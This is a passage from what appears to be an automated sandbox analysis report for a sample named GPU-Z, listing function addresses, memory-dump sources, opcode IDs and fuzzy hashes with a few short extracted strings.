Opcode ID: a382a024ecc8f36a88ef0ce9602074de7355c57633fc910879812075637591a1
Instruction ID: fbb53dcf10e4103a291cab0f283cd119b93807c9da1b70a086fe12ba3ad33aba
Opcode Fuzzy Hash: a382a024ecc8f36a88ef0ce9602074de7355c57633fc910879812075637591a1
Instruction Fuzzy Hash: 71F0A43570130047D710EF5C9890796B76AFF8C320F104679EA49AF385CB756945C7E0

Function 031B4838 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6891cca4131ea0f88685b2713f8c087139e609c1a5e20cf20794216bde07459
Instruction ID: 65386a55583691e11dbbd5f08c69dd8adf3eb4aec8d133a0e7c88031bc36447b
Opcode Fuzzy Hash: e6891cca4131ea0f88685b2713f8c087139e609c1a5e20cf20794216bde07459
Instruction Fuzzy Hash: B2F02473E080918BC314CAFBA8851E577B0D79F185F4BC4A7C516CB243EF198052C360

Function 031BB6D0 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a205e38ff3fdbbbebc6bc8456be52eeb412756f1f395222ae51840569277a8
Instruction ID: 1f6d4de953b7fbf48f70ee5f133297a0863853facf5a9e6419e3e8a27272d6d4
Opcode Fuzzy Hash: d2a205e38ff3fdbbbebc6bc8456be52eeb412756f1f395222ae51840569277a8
Instruction Fuzzy Hash: 15F0E932B0814057DB189EAF98557467ADBE7CD720F54C879E40BC7344CE648C428291

Function 0678C8A4 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e13f76f801dbb121e1e7e73320493bcb5140fd36b0e0aaac989c513adb4cb8ec
Instruction ID: 0564b10f476e97fbeaf8aa0b315b6322319b50ee00a7f0f7cafe9c50e9078edb
Opcode Fuzzy Hash: e13f76f801dbb121e1e7e73320493bcb5140fd36b0e0aaac989c513adb4cb8ec
Instruction Fuzzy Hash: 31F062317D02054FC6A4B66C9954A7A3BEEEFC4214F44482AD216C72A4EE34EC44C7E1

Function 018CD7C8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835145137.00000000018CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 018CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_18cd000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e69e31428817285e54b7459b82a0ed8c8c76ece577c91c3fa8b212f8a0e120c
Instruction ID: 04f93cc963ae2d5dc36e17572b1ab75bdd65a78b678e008bc8b21f746d63e5a2
Opcode Fuzzy Hash: 6e69e31428817285e54b7459b82a0ed8c8c76ece577c91c3fa8b212f8a0e120c
Instruction Fuzzy Hash: 61F0C272404354EAE7219E0ADC84B63FFA8EF45724F18C96AED0C4A286C3799840CAB4

Function 06782278 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194d713ec55a8945de0277be729311314803a00761a9a3c15db0ac649d7a96fe
Instruction ID: 0ee44e6b1fe7c2f577962ca53a41c5b2dd910e7bbc301a7b7c153a6df983a69d
Opcode Fuzzy Hash: 194d713ec55a8945de0277be729311314803a00761a9a3c15db0ac649d7a96fe
Instruction Fuzzy Hash: 0BF0E2311293E08FC342A7A8A8106A23F78EB03321B0B40E7E156CB483C32DED44C7E1

Function 031BB6E0 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6805361e33fe6cf89e78dfe26d7cbaabf68635093608423918cdcb85b2d84c26
Instruction ID: 930926f62b3033b297fc403ef497c27fe0537a8fa8fbf1f8b7f9c49863fd8f54
Opcode Fuzzy Hash: 6805361e33fe6cf89e78dfe26d7cbaabf68635093608423918cdcb85b2d84c26
Instruction Fuzzy Hash: 02F0653170450497DB18AEAF6855757BADFFBCDB21F50C876E40EC7348CE648C428695

Function 08A9F3D5 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29885ee65875bc2ec19fd6bcc5dec2dea47444b1d72f96a103c345aaf1fca824
Instruction ID: 27cf1f72287bb7a3b88b2e0e475a99df6897e77fab37ff866772a4383111d087
Opcode Fuzzy Hash: 29885ee65875bc2ec19fd6bcc5dec2dea47444b1d72f96a103c345aaf1fca824
Instruction Fuzzy Hash: 9DF0E2B17182114BDA14DE68E98162AB3A2EBC4618F444A6AD408E7340DD28DC42C792

Function 0678D191 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48ed2e55127437f308120d725b16803ccdd78c99a47d6f5c09c75436498a0dce
Instruction ID: ae00daa7402011453568dd6cd2072f8e43e2d229db292817bf763f0ab849b34f
Opcode Fuzzy Hash: 48ed2e55127437f308120d725b16803ccdd78c99a47d6f5c09c75436498a0dce
Instruction Fuzzy Hash: A701A435A40104CFCB54DF68C484AA87BB1EF48325F254195E915AB3A0C732DD81CF90

Function 08A92408 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9448a82fa938af2a1252e669f8652fdb53cc4addc3e84dc1376e586cb39abda
Instruction ID: 92321f557eda9dd74e4cdabd8e7cb0352fff5d12e42d62bcc432e5e66a1609c4
Opcode Fuzzy Hash: f9448a82fa938af2a1252e669f8652fdb53cc4addc3e84dc1376e586cb39abda
Instruction Fuzzy Hash: 6CE065717001145FD3049E5E9C40D5BFBEDFFD9A20B11806AE504D7350CA70EC0186A4

Function 08A91570 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f0fa968b864641d18f45347e36d8a6f0d49b1a22e51581cafc54499a3160608
Instruction ID: a3f45f4308472dad42fa748fd2dcaa0e00c5ed2d682123f16aa5c0490c3fd17a
Opcode Fuzzy Hash: 1f0fa968b864641d18f45347e36d8a6f0d49b1a22e51581cafc54499a3160608
Instruction Fuzzy Hash: 19E09B33A14609668700766DD4408ABB7F9DFD5721700C62BF54997620EE70D945C392

Function 067889B7 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2726ffa3e412651ecd0355a90523c923d8ae7cb086a00ef4002aa6ffe465119
Instruction ID: fc4907aef692d482666c4d39be2ff7a00e0b14ab55f5feeb7acbffaeb503f8e4
Opcode Fuzzy Hash: c2726ffa3e412651ecd0355a90523c923d8ae7cb086a00ef4002aa6ffe465119
Instruction Fuzzy Hash: E6E0923130A6500BC30526A869695EA6EABABC6225708016AF007C3793CE550E4286E1

Function 031B50BC Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20b98f67a9430130103f889bccae6c2d7f2767f296c52e9cbb8a92a9f15b8b66
Instruction ID: 545ede8a73ab7bb7e7fe8ea682bcc585a4119b3d47f0ce1f4c7bc1a47745d557
Opcode Fuzzy Hash: 20b98f67a9430130103f889bccae6c2d7f2767f296c52e9cbb8a92a9f15b8b66
Instruction Fuzzy Hash: 8BF0151194E7E02FC7035B3C68305D93FA99E83114B0A80D3C0C48F0A7C508884AC3DA

Function 08A92448 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69e70bdb9910c698d92a085b4d377762b911d52986ab5597ea919f6cf7d1dc5b
Instruction ID: a8dcec1ddccbd3446da3824704e400c510eaa91fc37a51ad96f8c296b3821eba
Opcode Fuzzy Hash: 69e70bdb9910c698d92a085b4d377762b911d52986ab5597ea919f6cf7d1dc5b
Instruction Fuzzy Hash: A8E06D363092806FC301C61EDC88E06FFA9EF8A32074480AAF649CB362C970AC00C7A0

Function 06782220 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b179366fe91a294d32683e95e6bbe01ea0e017d5e94a57d231b4c7126d6e14
Instruction ID: 066698ace34bac8afa322a2b133eab9e881c52e2868a40db76fe7c56ccfca09d
Opcode Fuzzy Hash: 98b179366fe91a294d32683e95e6bbe01ea0e017d5e94a57d231b4c7126d6e14
Instruction Fuzzy Hash: F3E06D332605208FC700FB88F5958B9B3E8E74867A318C266E40CCA629D336D802C3C0

Function 08A93EB0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 076f3413a163bd1e7db071e50be52ca656acf6a40ec6d223391d522905fa9a65
Instruction ID: 2209fc99ad3870bd1ff191dd38d474267331dc9c0eba036661f213020524527c
Opcode Fuzzy Hash: 076f3413a163bd1e7db071e50be52ca656acf6a40ec6d223391d522905fa9a65
Instruction Fuzzy Hash: 67E0EC353105148FC744DB6ED444C197BEAEFCEA6531540BAE509CB331DE71DC028B90

Function 08A92458 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a9950e6ab5a39a8c79c22c30c104a568e4975d9a3898ff5c85c0d2b75ab835f
Instruction ID: d3da46c6b3b1cd75ffd79bf5d639f0ef84f165ab547d14e305127fb3d16d15e7
Opcode Fuzzy Hash: 3a9950e6ab5a39a8c79c22c30c104a568e4975d9a3898ff5c85c0d2b75ab835f
Instruction Fuzzy Hash: 4EE0EC363046146FC3149A4EEC88D46FBEDEFD9775B55807AFA09C7361CA71AC01C6A4

Function 06784574 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9684c4d2fdcfb80fd948c4682a0b502d91419eecf4ef2caa39e830b21866cb95
Instruction ID: 4d2e2015a3222411295dd7267f8dd87b2b697945bd3512201b0ef40fe49a9670
Opcode Fuzzy Hash: 9684c4d2fdcfb80fd948c4682a0b502d91419eecf4ef2caa39e830b21866cb95
Instruction Fuzzy Hash: 47E048355901048FD751E61CC588BE573E8EB49354F1585B2F905DB215C235AC41CB51

Function 031BCD40 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73cbe2102f2b5ea040f6123885a6874e42c167be26f2649406c60270ceb2838c
Instruction ID: aa92167640dca3b08245a6e586fc8526571ef0a74b4180e59d58d1b8ff54f449
Opcode Fuzzy Hash: 73cbe2102f2b5ea040f6123885a6874e42c167be26f2649406c60270ceb2838c
Instruction Fuzzy Hash: CFE05E2535472423E50471AC58217FFA19F8BCCB21F20422AE69A9F7D6CEE67D414BD1

Function 067844A4 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e334e60211f95bc0640bfc3e73bc61173c80c60fa056dff87043572a8492c647
Instruction ID: 0e350a4d96b30c49d6b8c5291d28c6695645a6bc629250d01ff39f1a1ebee62a
Opcode Fuzzy Hash: e334e60211f95bc0640bfc3e73bc61173c80c60fa056dff87043572a8492c647
Instruction Fuzzy Hash: 1FE0C237185114BF8B426BC99C84C96BFE9EF4D320309C452F30D47232C656C810EBD5

Function 067852B2 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a428e1ebcf6a6714c69bdf73c569e524a96b6c5ffbfdecc5a955d48c19aad843
Instruction ID: 762f184e137aba46f01682e49e5c0d2888ead3b036040d8ab08fa867b4b25161
Opcode Fuzzy Hash: a428e1ebcf6a6714c69bdf73c569e524a96b6c5ffbfdecc5a955d48c19aad843
Instruction Fuzzy Hash: 73D0C23B146110AE8B124BC8AC44CC2BFDBBB48320308C096F24D47232C212C920EB90

Function 067889C8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd76f07f9c8fae4d32bd795bb2b45d0653b57cba5c367f4a75ba3417cacc7190
Instruction ID: 4a7f2591e3b526210854cb95e4c9cdcc5800918768c00273172afd1bd42ca51e
Opcode Fuzzy Hash: fd76f07f9c8fae4d32bd795bb2b45d0653b57cba5c367f4a75ba3417cacc7190
Instruction Fuzzy Hash: 5BD05E363161145BC70436AEA0196AEBEAFEBC8665B08042AF50BC3744CEA54C4286F9

Function 031BADF0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a6d506af5c6d4ab8af3375de799c3c005e0b346dff407a948a16e78652a3812
Instruction ID: 0684c6c5851df7be62edace81a92ea0d233e467667dab9ae79d86d1add28d0d0
Opcode Fuzzy Hash: 0a6d506af5c6d4ab8af3375de799c3c005e0b346dff407a948a16e78652a3812
Instruction Fuzzy Hash: D7D0A7618093441BCA36C1195D261E63F7DCE0F059B0D00DAEC05CA102DF02D42542B1

Function 031B55D8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 178345baaeb8f920da0f95da9c39e2e3672cc30c7e42bbb80b5dc36d419f17f3
Instruction ID: ca3155ab97310af9d5154a17111366113a6213a974da0e0ad37d4fdb6aa3ee74
Opcode Fuzzy Hash: 178345baaeb8f920da0f95da9c39e2e3672cc30c7e42bbb80b5dc36d419f17f3
Instruction Fuzzy Hash: 06D017555496912BE712872815216D6ABB3AF4B514F8EC0CBD088DF693E3148D829792

Function 06783400 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 818a625a26874b651c246cd52ab8a4ae8d0863320c4bf31c9edcbf6e14d00bfd
Instruction ID: 33ff2249ab9107a13a13309c5a38bae998b17c1f216c3dde81fb5f60e4d0f0d1
Opcode Fuzzy Hash: 818a625a26874b651c246cd52ab8a4ae8d0863320c4bf31c9edcbf6e14d00bfd
Instruction Fuzzy Hash: 2DD01222B8E6510FCA9A3364792A27C1A114FC1621B8C047ED16B8F681DD094D53C38A

Function 06789DF7 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4904e59044b10ad4cd8070c9a9585d431d39dc7cd503060840a8c324ff45b6bc
Instruction ID: beced1c14491d707786dfcd4d13777218bc55c07ddfea022f264219f8b712616
Opcode Fuzzy Hash: 4904e59044b10ad4cd8070c9a9585d431d39dc7cd503060840a8c324ff45b6bc
Instruction Fuzzy Hash: 5EE0EC35146685DFC70ADB68DA44891BF70BF42214349C2EBE1588B633C736E85ACB91

Function 08A94718 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2861681889.0000000008A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 08A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a90000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffccb34109d701259d28647874e0bc0eaf48fd24316d1fc5e3095e3d887b47ef
Instruction ID: a763b765c6060412399c5e47574e1f3d19ddb22f824e6522507c449aeee3df21
Opcode Fuzzy Hash: ffccb34109d701259d28647874e0bc0eaf48fd24316d1fc5e3095e3d887b47ef
Instruction Fuzzy Hash: 4CD0123090510DEF9B40DFA8EA4195DB7FDEB49351B1055A8D905D7210DB316F009BA1

Function 06783410 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1d0a6f4fc10bd9ea592f0538d9725f6a5f511e50a4696792ab758321fd67ef
Instruction ID: bcaf4ce03aad99197e7cb3ed2623f604c63db7fc2b8107bd7b3e701d68e9cece
Opcode Fuzzy Hash: aa1d0a6f4fc10bd9ea592f0538d9725f6a5f511e50a4696792ab758321fd67ef
Instruction Fuzzy Hash: 44D01232BD69351F4DEA32687C2A5BC36494FC1971BC80039E62A8B281DE8D1D53C3CE

Function 031B71D8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abe0ce527502f2572c72654889706fc2452965c18c3712d179286061d09a1d63
Instruction ID: 2ee081790ffe33e6fe1a39add33ac34f6ba75a69d186d93d96beb60a79fb2613
Opcode Fuzzy Hash: abe0ce527502f2572c72654889706fc2452965c18c3712d179286061d09a1d63
Instruction Fuzzy Hash: ECD0C2300083857EC709D779B9008557F2DEF84304B119165A4098A05ADABDDC099381

Function 06787F98 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a775dbbcf50dffd651f8819c136882d8b9a8e56ad9ce3035bb5ba32fc3470f4e
Instruction ID: 7424c3bec320a6ce2853c8d8ca4cb8abe0b6be678783a9787a7386c45ceece15
Opcode Fuzzy Hash: a775dbbcf50dffd651f8819c136882d8b9a8e56ad9ce3035bb5ba32fc3470f4e
Instruction Fuzzy Hash: ABD022A826F3D00FE36253B12D018B33F5C8E1265130206EBEBD8C01E3E7004121C321

Function 06782275 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c16428b0bed130b4a3642fed246c44ddf69dfaf35b882812440f74d166e9ee4
Instruction ID: 9ed85cbcaae93f9948f5215361ac247739869e45a0c7b78e2215039adf3fd62b
Opcode Fuzzy Hash: 9c16428b0bed130b4a3642fed246c44ddf69dfaf35b882812440f74d166e9ee4
Instruction Fuzzy Hash: A2D0C732A60420CFD7A0AAC9E2407A43724F740322F07801AE02A67992CB3ADC80CB80

Function 031B71E8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b0cc89aa2bf62527d0188e1de433a0c54f55a81cce3abdeb57e77796bd2c365
Instruction ID: e17cfd62dadda9c2a2895dad10d978d7171a64df73e2acfe34166f02e389b1d1
Opcode Fuzzy Hash: 7b0cc89aa2bf62527d0188e1de433a0c54f55a81cce3abdeb57e77796bd2c365
Instruction Fuzzy Hash: 9CC022300003096ECA48EB38FA008243B2EEBC0308B50E124A40A06018DFBE9C098280

Function 06789E08 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ab1158877b89facf4fd60648cf313d59307dfc94b4d46661cdfa9b2d480089b
Instruction ID: e0f26448a967204e928cce851bba02ad0a122b8eb1031457b73368a7043f0ecd
Opcode Fuzzy Hash: 1ab1158877b89facf4fd60648cf313d59307dfc94b4d46661cdfa9b2d480089b
Instruction Fuzzy Hash: ADD0CA312802048FC708EB68EA448617BA8AF4960835881A8A1088B232DB32EC02CA90

Function 06787FA8 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2858187805.0000000006780000.00000040.00000800.00020000.00000000.sdmp, Offset: 06780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6780000_GPU-Z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34c575e06d6a4f7cb23f88a82a4de71cc8941b5e4aded5204a69108526ae0091
Instruction ID: f32670151d7e9d2291d64c1745f04b293f704c566ab3d32a9b596a50bcafc28e
Opcode Fuzzy Hash: 34c575e06d6a4f7cb23f88a82a4de71cc8941b5e4aded5204a69108526ae0091
Instruction Fuzzy Hash: A4B092327682281B677426BA68055A6BA8C8A015A570048B6ED0DC2200EA92E81046E1

Non-executed Functions

Function 031BBD18 Relevance: 5.3, Strings: 4, Instructions: 260COMMON

Download Yara Rule

Strings

$]q, xrefs: 031BBD2E
Xaq, xrefs: 031BBD47
,aq, xrefs: 031BC0F8
,aq, xrefs: 031BC0EC

Memory Dump Source

Source File: 00000000.00000002.2836290715.00000000031B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_31b0000_GPU-Z.jbxd

Similarity

API ID:
String ID: ,aq$,aq$Xaq$$]q
API String ID: 0-1541653676
Opcode ID: 7acb7222447675786a35462bf2c575c1b548b2ebc0cfccffd0cbda681b5e95b7
Instruction ID: 9f7604da465fc261d625c7c504ea626ee31c27df550b02cc8e70c6a195c96175
Opcode Fuzzy Hash: 7acb7222447675786a35462bf2c575c1b548b2ebc0cfccffd0cbda681b5e95b7
Instruction Fuzzy Hash: 42815434B042189BDB1CDBB9985467E7BB7BFC8710B05C92DE406E7688DF3499428B92

Function 07FE4FD9 Relevance: 2.7, Strings: 2, Instructions: 168COMMON

Download Yara Rule

Strings

#HBF, xrefs: 07FE5167
w*S, xrefs: 07FE5150

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: #HBF$w*S
API String ID: 0-2996935253
Opcode ID: 765247b4c89885e6af1c537b8fa75d2d2c4f6c0b36d85f16a632a561442a6ea9
Instruction ID: 6898b6dad2c27d7d1c145d002a29a31ad308bda70efa9f727c8514880e0e9067
Opcode Fuzzy Hash: 765247b4c89885e6af1c537b8fa75d2d2c4f6c0b36d85f16a632a561442a6ea9
Instruction Fuzzy Hash: F8611875E1520A8FCB04CFA9C9819DEFBF2FF89214F28916AD515F7314E33499018B65

Function 07FE4FE8 Relevance: 2.7, Strings: 2, Instructions: 167COMMON

Download Yara Rule

Strings

#HBF, xrefs: 07FE5167
#HBF, xrefs: 07FE5160

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe0000_GPU-Z.jbxd

Similarity

API ID:
String ID: #HBF$#HBF
API String ID: 0-136798975
Opcode ID: 4a09d98f6fe9084de87f924af375c067e30b27749f5c50527f9c13c8b7844fae
Instruction ID: 309a687f1a6b21d97df99a8f8218677620754692e51efb0b0c3cb499e2102311
Opcode Fuzzy Hash: 4a09d98f6fe9084de87f924af375c067e30b27749f5c50527f9c13c8b7844fae
Instruction Fuzzy Hash: 0B6106B5E1520ACFCB04CFA9C9805DEFBF6FF89214F28902AD515BB314E33499118B65

Function 07FE49F8 Relevance: 2.7, Strings: 2, Instructions: 161COMMON

Download Yara Rule

Strings

@, xrefs: 07FE4ACF
@, xrefs: 07FE4AD6

Memory Dump Source

Source File: 00000000.00000002.2860807649.0000000007FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07FE0000, based on PE: false

